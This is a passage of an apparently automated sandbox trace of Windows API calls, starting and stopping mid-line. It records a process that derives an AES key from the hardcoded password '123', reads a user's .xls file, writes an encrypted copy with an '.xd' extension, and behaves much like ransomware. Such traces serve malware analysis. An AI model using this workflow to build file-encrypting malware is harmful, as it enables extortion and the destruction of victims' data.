| out: lpMsg=0x130f164) returned 0 [0073.759] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0073.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.759] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.759] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.759] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.759] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.760] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.760] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.760] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.760] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.760] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.760] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.760] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.760] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.760] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.760] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.760] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0073.761] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0073.761] CryptCreateHash (in: hProv=0x17aa918, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0073.761] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.761] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.764] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.764] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629350, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.764] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0073.764] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.764] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.764] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.764] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.764] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0073.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621708, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0073.765] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0073.765] CryptHashData (hHash=0x164c370, pbData=0x1629350, dwDataLen=0x3, dwFlags=0x1) returned 1 [0073.765] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.765] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.765] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.765] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.765] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.765] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.765] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.765] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0073.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621900, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0073.765] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0073.766] CryptDeriveKey (in: hProv=0x17aa918, Algid=0x6610, hBaseData=0x164c370, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0073.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.766] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.766] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0073.766] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0073.766] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0073.766] CryptDestroyHash (hHash=0x164c370) returned 1 [0073.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.766] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.766] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.767] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.767] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.767] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\n6jwt8z 8peyl55.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0073.767] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.767] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0073.767] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.767] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.767] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.767] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif")) returned 0x10 [0073.768] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\n6jwt8z 8peyl55.xls.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0073.769] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.769] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.769] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.769] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.771] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0073.771] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x9c37, lpOverlapped=0x0) returned 1 [0073.773] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0073.776] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.776] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.776] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.776] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0073.777] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.777] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.777] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0073.777] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.777] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0073.777] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.777] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.777] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.777] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0073.777] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0073.778] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0073.778] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x16294f0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294f0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0073.778] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.778] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.778] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.778] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.778] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.778] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.778] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.778] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.778] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.778] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.778] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.778] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.778] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.778] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.779] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.779] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.779] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.779] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.779] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.779] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.779] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.779] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.779] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.780] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.781] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621750, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.781] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.782] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x9c37, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x9c40) returned 1 [0073.782] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.782] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.782] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.782] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.782] CharLowerBuffW (in: lpsz="byte[40001]", cchLength=0xb | out: lpsz="byte[40001]") returned 0xb [0073.782] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.783] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.783] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.783] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.783] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a08, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.783] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.783] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17f43a0*, pdwDataLen=0x130e618*=0x9c37, dwBufLen=0x9c40 | out: pbData=0x17f43a0*, pdwDataLen=0x130e618*=0x9c40) returned 1 [0073.783] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, 